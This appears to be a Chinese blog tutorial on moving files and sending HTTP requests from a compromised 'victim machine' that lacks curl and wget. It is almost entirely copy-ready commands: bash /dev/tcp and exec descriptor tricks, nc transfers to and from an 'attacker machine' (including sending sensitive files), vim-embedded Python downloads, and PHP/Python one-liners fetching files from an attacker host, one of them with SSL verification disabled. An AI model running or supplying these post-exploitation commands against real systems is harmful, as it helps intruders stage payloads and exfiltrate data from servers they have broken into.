欢迎光临
我们一直在努力

“这是Hacker?“专题:拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!

拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!

在这里插入图片描述

核心场景说明

当Linux环境(如阉割版Docker、精简系统、受限Shell)缺少 curl、wget、nc(部分场景)等常用工具时,需通过系统内置命令(cat、vim)、编程语言(PHP/Python)或Shell特性(文件描述符)实现远程请求接口或下载文件。

分类实现方法(操作步骤+原理+适用场景)

方法1:cat + /dev/tcp(依赖Bash,无额外工具)

核心优势:纯内置命令,零依赖,Bash环境通用
原理:/dev/tcp/IP/PORT 是Bash虚拟TCP设备文件,读写等价于建立TCP连接,通过 cat 实现数据传输/HTTP请求

角色操作命令说明
攻击机(发送) 方式1:`cat 待传文件.txt nc -lvp 7777<br>方式2:nc -lvp 7777 < 待传文件.txt`
受害机(接收) 方式1(收文件):cat < /dev/tcp/攻击机IP/7777 > 保存文件名.txt方式2(发HTTP请求):cat < /dev/tcp/目标IP/80 > response.txt && echo -e "GET /flag HTTP/1.0\\n" > /dev/tcp/目标IP/80 1. 连接攻击机端口,读取数据写入文件2. 向目标服务80端口发请求,响应存response.txt

注意事项:

  • 先通过 echo $SHELL 确认是Bash(输出 /bin/bash)
  • HTTP请求需手动加换行符(\\n),否则服务端无法识别

方法2:nc(Netcat,受害机有nc时可用)

核心优势:传输稳定,支持大文件,操作极简
原理:nc -lvp PORT 监听端口,nc IP PORT < 文件 发送TCP流数据

模式步骤1(监听方)步骤2(发送方)适用场景
受害机接收文件 nc -lvp 3232 > 保存文件名.txt(受害机) nc 受害机IP 3232 < 待传文件.txt(攻击机) 受害机主动拉取文件
攻击机推送文件 nc -lvp 6666 < 待传文件.txt(攻击机) nc 攻击机IP 6666 > 保存文件名.txt(受害机) 攻击机主动推送文件到受害机

注意事项:

  • 传输敏感文件建议先压缩加密(如 tar zcf – 文件 | nc …)
  • 部分精简环境可能无 nc,需先测试 nc -h

方法3:vim + Python(内置Python解释器)

核心优势:支持HTTP下载,无需记忆复杂语法
原理:vim -c 执行Python代码,利用 urllib 库下载文件

# 受害机一行执行(自动下载+退出)
vim -c ':py import vim,sys;
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r;
r.urlretrieve("http://攻击机IP:80/待下文件.txt", "保存文件名.txt");
vim.command(":q!")'

命令拆解:

  • vim -c '命令':启动后执行命令并退出
  • 兼容Python2/3,自动适配 urllib 库
  • :q!:强制退出vim,无需手动操作
  • 注意事项:

    • 检查vim Python支持:vim –version | grep +python(有+表示支持)
    • 攻击机需启动HTTP服务(如 python -m http.server 80)

    方法4:编程语言(PHP/Python,最常用)

    核心优势:兼容性最强,支持HTTPS,灵活处理复杂请求
    原理:利用内置网络库发送HTTP请求,文件操作函数保存数据

    编程语言操作命令(受害机执行)说明
    PHP ```bash
    php -r '$c=file_get_contents(“http://目标IP/flag.txt”);
    file_put_contents(“保存名.txt”, $c);’
    ``` 1. -r 直接执行代码2. 支持HTTP/HTTPS3. 适合Web环境
    Python2 ```bash
    python -c "import urllib2;
    open(‘保存名.txt’, ‘wb’).write(
    urllib2.urlopen(‘http://目标IP/flag.txt’).read()
    )"
    ``` 1. wb 二进制写入(兼容图片/压缩包)2. 无额外依赖
    Python3 ```bash
    python3 -c "import urllib.request;
    open(‘保存名.txt’, ‘wb’).write(
    urllib.request.urlopen(‘http://目标IP/flag.txt’).read()
    )"

    **HTTPS请求处理**(忽略SSL验证):
    ```bash
    # Python3示例
    python3 -c "import urllib.request, ssl;
    ctx=ssl._create_unverified_context();
    open('file.txt','wb').write(
    urllib.request.urlopen('https://目标IP/flag', context=ctx).read()
    )"


    方法5:Bash exec + 文件描述符(高级技巧)

    核心优势:极端精简环境可用,零依赖,纯Shell特性
    原理:exec 绑定文件描述符到TCP连接,通过文件描述符读写实现HTTP请求

    # 受害机一行执行(获取/flag接口)
    exec 4<> /dev/tcp/目标IP/80 && \\
    echo -e 'GET /flag HTTP/1.0\\n' 1>&4 && \\
    cat 0<&4 > flag.txt

    命令拆解:

  • exec 4<> /dev/tcp/IP/80:建立TCP连接,绑定到文件描述符4(1-9均可)
  • 1>&4:标准输出重定向到连接,发送GET请求
  • 0<&4:标准输入重定向到连接,读取响应数据
  • 注意事项:

    • 仅支持Bash,sh/zsh 可能不兼容
    • 复杂请求(POST/Header)需手动构造完整HTTP包

    场景化选择建议

    受害机环境特点推荐方法优势
    仅有Bash,无其他工具 方法1(cat+/dev/tcp)或方法5(exec) 零依赖,操作简单
    有nc命令 方法2(nc传输) 传输稳定,支持大文件
    有vim且支持Python 方法3(vim+Python) 语法简洁,支持HTTP下载
    有PHP/Python(Web环境) 方法4(编程语言) 兼容性强,支持HTTPS/复杂请求

    补充实用技巧

  • 环境可用性测试:

    echo $SHELL # 检查是否为Bash
    php -v || python -v # 检查编程语言
    vim –version | grep +python # 检查vim Python支持

  • 攻击机HTTP服务搭建:

    # Python2
    python -m SimpleHTTPServer 80
    # Python3
    python3 -m http.server 80

  • 常见问题排查:

    • 连接超时:检查防火墙端口开放情况
    • 下载失败:确认目标URL可访问,请求格式正确
    • 权限不足:尝试在命令前加 sudo(若有sudo权限)
  • 赞(0)
    未经允许不得转载:171主机测评 » “这是Hacker?“专题:拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址